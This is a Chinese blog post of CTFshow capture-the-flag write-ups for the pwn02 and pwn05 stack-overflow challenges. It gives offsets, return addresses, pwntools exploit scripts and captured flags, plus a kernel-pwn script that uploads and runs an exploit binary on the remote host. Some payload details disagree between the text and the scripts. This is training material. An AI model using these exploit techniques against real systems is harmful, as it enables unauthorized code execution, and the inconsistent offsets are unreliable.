CTFshow-pwn刷题

pwn02

32位的

双击pwnme这个函数

fgets函数,栈溢出

s的地址是-9,目标r的地址是4

这里有一个stack函数

地址是0x804850F

payload:

payload = b'a'*(0x9+4) + p64(0x0804850F)

exp

from pwn import*
p = remote('pwn.challenge.ctf.show',28185)
payload = b'a'*(0x9+4) + p32(0x0804850F)
p.sendline(payload)
p.sendline('cat flag')
p.interactive()

ctfshow{95cc7be7-bc2d-412b-9633-7131b3b507c3}

pwn05

32位的

F5main函数之后

双击welcome

双击s

s的地址是-14,目标地址r是4

getFlag的地址是:

0x8048486

构造payload

payload=b"a"*(0x14+4)+p32(0x08048486)

exp

from pwn import*
p = remote('pwn.challenge.ctf.show',28169)
payload=b"a"*(0x12+6)+p32(0x08048486)
p.sendline(payload)
p.sendline('cat flag')
p.interactive()

ctfshow{33456f1e-e589-4481-8e0c-465b3317b85d}

CTFShow平台PWN的解思路和过程在不同目中有所不同。以CTFSHOW PWN02为例,解脚本通过`pwn`库进行操作。脚本根据`contect`变量的值来选择是本地运行程序还是远程连接目标服务器。构造了长度为13个字节的`a`字符的`payload`,并拼接上函数地址`0X804850F`,将其发送给目标程序,最后进入交互模式与程序进行交互,可能是通过溢出覆盖返回地址来执行指定函数,以达到解目的[^1]。 对于CTFShow PWN入门的Kernel PWN 356 - 360相关目,解脚本先将本地的`exp`文件内容进行Base64编码,然后分块发送到远程服务器上的`/tmp/b64_exp`文件中。接着将Base64编码的内容解码成可执行文件`/tmp/exploit`,为其添加执行权限,最后执行该文件并进入交互模式。该过程可能是利用内核漏洞,通过上传并执行本地编写的漏洞利用脚本,来获取远程服务器的控制权[^3]。 ### 代码示例 CTFSHOW PWN02解脚本: ```python from pwn import * contect = 1 def main(): if contect == 0: p = process("./stack") else: p = remote("pwn.challenge.ctf.show", 28103) payload = b'a' * 13 payload += p32(0X804850F) p.sendline(payload) p.interactive() main() ``` CTFShow PWN入门Kernel PWN相关目的解脚本: ```python from pwn import * import base64 context.log_level = "debug" with open("./exp", "rb") as f: exp = base64.b64encode(f.read()) p = remote("pwn.challenge.ctf.show", 28304) p.recvuntil(b"$ ") p.sendline(b"ls") count = 0 for i in range(0, len(exp), 0x200): p.recvuntil(b"/ $ ") p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp") count += 1 log.info("count: " + str(count)) p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit") p.sendline("chmod +x /tmp/exploit") p.sendline("/tmp/exploit ") p.interactive() ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

小丑001.

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值